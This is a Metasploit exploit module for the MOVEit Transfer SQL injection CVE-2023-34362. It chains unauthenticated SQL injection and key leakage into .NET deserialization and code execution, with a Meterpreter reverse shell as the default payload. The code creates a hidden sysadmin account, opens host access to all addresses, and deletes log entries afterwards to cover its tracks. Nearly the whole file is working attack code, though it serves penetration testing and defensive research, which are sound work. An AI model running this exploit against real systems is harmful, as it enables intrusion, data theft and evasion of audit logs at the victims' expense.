##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MOVEit SQL Injection vulnerability',
        'Description' => %q{
          This module exploits an SQL injection vulnerability in the MOVEit Transfer web application
          that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database.
          Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an
          attacker can leverage an information leak be able to upload a .NET deserialization payload.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362
          'rbowes-r7', # research
          'bwatters-r7' # module
        ],
        'References' => [
          ['CVE', '2023-34362' ],
          ['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'],
          ['URL', 'https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis'],
          ['URL', 'https://www.wiz.io/blog/cve-2023-34362']
        ],
        'Platform' => 'win',
        'Arch' => [ARCH_CMD],
        'Payload' => {
          'Space' => 345
        },
        'Targets' => [
          [
            'Windows Command',
            {
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',
                'RPORT' => 443,
                'SSL' => true
              }
            }
          ],
        ],
        'DisclosureDate' => '2023-05-31',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )
    register_options(
      [
        Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']),
        Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]),
        Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]),
        Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)])
      ]
    )
    @moveit_token = nil
    @moveit_instid = nil
    @guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com"
    @uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15)
    @uploadfile_size = rand(5..64)
    @uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size)
    @user_added = false
    @files_json = nil
  end

  def begin_file_upload(folders_json, token_json)
    boundary = rand_text_numeric(27)
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n"
    res = send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"),
      'headers' => {
        'Content-Type' => 'multipart/form-data; boundary=' + boundary,
        'Authorization' => "Bearer #{token_json['access_token']}"
      },
      'connection' => 'close',
      'accept' => '*/*',
      'data' => post_data.to_s
    })

    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.nil? || res.code != 200

    files_json = res.get_json_document
    vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")
    files_json
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=capa'),
      'connection' => 'close',
      'accept' => '*/*'
    })
    version = nil
    if res && res.code == 200 && res.headers.key?('X-MOVEitISAPI-Version')
      version = Rex::Version.new(res.headers['X-MOVEitISAPI-Version'])
      # 2020.1.x AKA 12.1.x
      return Exploit::CheckCode::Appears if version >= Rex::Version.new('12.1.0') && version < Rex::Version.new('12.1.10')
      # 2021.0.x AKA 13.0.x
      return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.0.0') && version < Rex::Version.new('13.0.8')
      # 2021.1.x AKA 13.1.x
      return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.1.0') && version < Rex::Version.new('13.1.6')
      # 2022.0.x AKA 14.0.x
      return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.0.0') && version < Rex::Version.new('14.0.6')
      # 2022.1.x AKA 14.1.x
      return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.1.0') && version < Rex::Version.new('14.1.7')
      # 2023.0.x AKA 15.0.x
      return Exploit::CheckCode::Appears if version >= Rex::Version.new('15.0.0') && version < Rex::Version.new('15.0.3')
    else
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Unknown
  end

  def cleanup
    cleanup_user(@files_json) if @user_added
    super
  end

  def cleanup_user(files_json)
    hax_username = datastore['USERNAME']
    hax_loginname = datastore['LOGIN_NAME']
    deleteuser_payload = [
      "DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload
      "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded
      "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", #
      "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created
      "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username
      "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname
      "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry.
    ]
    if @user_added
      vprint_status("Deleting user #{hax_username}")
      sqli(sqli_payload(deleteuser_payload))
      @user_added = false
    end
  end

  def create_sysadmin
    hax_username = datastore['USERNAME']
    hax_password = datastore['PASSWORD']
    hax_loginname = datastore['LOGIN_NAME']
    createuser_payload = [
      "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'",
      "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')",
      "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'",
      "UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'",
      "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'",
      "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'",
      "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",
    ]
    res = sqli(sqli_payload(createuser_payload))

    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200
    @user_added = true
  end

  def encrypt_deserialization_gadget(gadget, org_key)
    org_key = org_key.gsub(' ', '')
    org_key = [org_key].pack('H*').bytes.pack('C*')
    deserialization_gadget = moveitv2encrypt(gadget, org_key)
    deserialization_gadget
  end

  def find_folder_id(token_json)
    folders_response = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/api/v1/folders'),
      'connection' => 'close',
      'accept' => '*/*',
      'headers' => {
        'Authorization' => "Bearer #{token_json['access_token']}"
      }
    })
    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.nil? || folders_response.code != 200
    folders_json = JSON.parse(folders_response.body)
    vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.")
    folders_json
  end

  def get_csrf_token(res)
    fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') unless res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/
    ::Regexp.last_match(1)
  end

  def guestaccess_request(body)
    res = send_request_cgi({
      'method' => 'POST',
      'keep_cookies' => true,
      'uri' => normalize_uri('guestaccess.aspx'),
      'connection' => 'close',
      'accept' => '*/*',
      'vars_post' => body
    })
    res
  end

  # Perform a request to the ISAPI endpoint with an arbitrary transaction
  def isapi_request(transaction, headers)
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'),
      'keep_cookies' => true,
      'connection' => 'close',
      'accept' => '*/*',
      'headers' => {
        'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path',
        'X-siLock-Transaction': transaction
      }.merge(headers)
    })
  end

  def leak_encryption_key(token_json, files_json)
    haxleak_payload = [
      # The \ gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard Networks\siLock\Institutions\0) as all other KeyName's will be longer (Standard Networks\siLock\Institutions\1234)
      "UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'"
    ]

    sqli(sqli_payload(haxleak_payload))

    leak_response = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("/api/v1/files/#{files_json['fileId']}"),
      'connection' => 'close',
      'accept' => '*/*',
      'headers' => {
        'Authorization' => "Bearer #{token_json['access_token']}"
      }
    })

    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.nil? || leak_response.code != 200
    leak_json = JSON.parse(leak_response.body)
    org_key = leak_json['uploadAgentBrand']
    vprint_status("Leaked the Org Key: #{org_key}")
    org_key
  end

  def makev1password(password, salt = 'AAAA')
    fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty?
    fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4

    # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret
    pwpre = Base64.decode64('=VT2jkEH3vAs=')
    pwpost = Base64.decode64('=0maaSIA5oy0=')
    md5 = Digest::MD5.new
    md5.update(pwpre)
    md5.update(salt)
    md5.update(password)
    md5.update(pwpost)

    pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC')
    pw << salt
    pw << md5.digest

    return Base64.strict_encode64(pw).gsub('+', '-')
  end

  def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!')
    fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16

    if iv.nil?
      iv = Rex::Text.rand_text_alphanumeric(4)
      # as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence.
      iv *= 4
    end

    # MOVEit.DMZ.Core.Cryptography.Encryption
    key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*')
    key += org_key
    key += [0, 0, 0, 0].pack('C*')

    # MOVEit.Crypto.AesMOVEitCryptoTransform
    cipher = OpenSSL::Cipher.new('AES-256-CBC')

    cipher.encrypt
    cipher.key = key
    cipher.iv = iv
    encrypted_data = cipher.update(data) + cipher.final
    data_sha1_hash = Digest::SHA1.digest(data).unpack('C*')
    org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*')

    # MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader
    header = [
      225, # MOVEitV2EncryptedStringHeader
      0,
      data_sha1_hash[0],
      data_sha1_hash[1],
      org_key_sha1_hash[0],
      org_key_sha1_hash[1],
      org_key_sha1_hash[2],
      org_key_sha1_hash[3],
      iv.unpack('C*')[0],
      iv.unpack('C*')[1],
      iv.unpack('C*')[2],
      iv.unpack('C*')[3],
    ].pack('C*')

    # MOVEit.DMZ.Core.Cryptography.Encryption
    return tag + Base64.strict_encode64(header + encrypted_data)
  end

  def populate_token_instid
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'keep_cookies' => true,
        'connection' => 'keep-alive',
        'accept' => '*/*'
      })

      cookies = res.get_cookies
      # Get the session id from the cookies
      fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/
      @moveit_token = ::Regexp.last_match(1)
      vprint_status("Received ASP.NET_SessionId cookie: #{@moveit_token}")

      # Get the InstID from the cookies
      fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/
      @moveit_instid = ::Regexp.last_match(1)
      vprint_status("Received siLockLongTermInstID cookie: #{@moveit_instid}")
    end
    true
  end

  def request_api_token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('/api/v1/token'),
      'Content-Type' => 'application/x-www-form-urlencoded',
      'connection' => 'keep-alive',
      'accept' => '*/*',
      'vars_post' => {
        'grant_type' => 'password',
        'username' => datastore['LOGIN_NAME'],
        'password' => datastore['PASSWORD']
      }
    })

    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") if res.code != 200

    token_json = JSON.parse(res.body)
    vprint_status("Got API access token='#{token_json['access_token']}'.")
    token_json
  end

  def set_session(session_hash)
    session_vars = {}
    session_index = 0
    session_hash.each_pair do |k, v|
      session_vars["X-siLock-SessVar#{session_index}"] = "#{k}: #{v}"
      session_index += 1
    end
    isapi_request('session_setvars', session_vars)
  end

  def sqli(sql_payload)
    # Set up a fake package in the session. The order here is important. We set these session
    # variables one per request, so first set the package information, then switch over to a
    # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this
    # order the session will be cleared and the injection will not work.
    set_session({
      'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06
      'MyPkgID' => '0', # Is self provisioned? (must be 0)
      'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs
      'MyPkgInstID' => '1234', # this can be any int value
      'MyPkgSelfProvisionedRecips' => sql_payload,
      'MyUsername' => 'Guest'
    })

    # Get a CSRF token - this has to be *after* you set MyUsername, since the
    # username is incorporated into it
    #
    # Transaction => request type, different types will work
    # Arg06 => the package access code (must match what's set above)
    # Arg12 => promptaccesscode requests a form, which contains a CSRF code

    body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' }
    csrf = get_csrf_token(guestaccess_request(body))

    # This does the actual injection
    body = {
      'Arg06' => 'accesscode',
      'transaction' => 'secmsgpost',
      'Arg01' => 'subject',
      'Arg04' => 'body',
      'Arg05' => 'sendauto',
      'Arg09' => 'pkgtest9',
      'csrftoken' => csrf
    }
    guestaccess_request(body)
  end

  def sqli_payload(sql_payload)
    # Create the initial injection, and create the session object
    payload = [
      # The initial injection
      "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')",
    ].concat(sql_payload)

    # Join our payload, and terminate with a comment character
    return payload.join(';') + ';#'
  end

  def trigger_deserialization(token_json, files_json, folders_json)
    files_response = send_request_cgi({
      'method' => 'PUT',
      'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"),
      'connection' => 'close',
      'accept' => '*/*',
      'verify' => false,
      'headers' => {
        'Authorization' => "Bearer #{token_json['access_token']}",
        'Content-Type' => 'application/octet-stream',
        'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}",
        'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data)
      },
      'data' => @uploadfile_data
    })

    # 500 if payload runs :)
    fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") if files_response.code != 500
  end

  def upload_encrypted_gadget(encrypted_gadget, files_json)
    haxupload_payload = [
      "UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'",
    ]
    vprint_status('Planting encrypted gadget into the DB...')
    sqli(sqli_payload(haxupload_payload))
  end

  def exploit
    # Get the sessionID and siLockLongTermInstID
    print_status('[01/11] Get the sessionID and siLockLongTermInstID')
    populate_token_instid
    # Allow Remote Access and Create new sysAd
    print_status('[02/11] Create New Sysadmin')
    create_sysadmin
    print_status('[03/11] Get API Token')
    token_json = request_api_token
    print_status('[04/11] Get Folder ID')
    folders_json = find_folder_id(token_json)
    print_status('[05/11] Begin File Upload')
    @files_json = begin_file_upload(folders_json, token_json)
    print_status('[06/11] Leak Encryption Key')
    org_key = leak_encryption_key(token_json, @files_json)
    print_status('[07/11] Generate Gadget')
    gadget = ::Msf::Util::DotNetDeserialization.generate(
      payload.encoded,
      gadget_chain: :TextFormattingRunProperties,
      formatter: :BinaryFormatter
    )
    print_status('[08/11] Encrypt Gadget')
    b64_gadget = Rex::Text.encode_base64(gadget)
    encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key)
    print_status('[09/11] Upload Encrypted Gadget')
    upload_encrypted_gadget(encrypted_gadget, @files_json)
    print_status('[10/11] Trigger Gadget')
    trigger_deserialization(token_json, @files_json, folders_json)
    print_status('[11/11] Cleaning Up')
    cleanup_user(@files_json)
  end
end
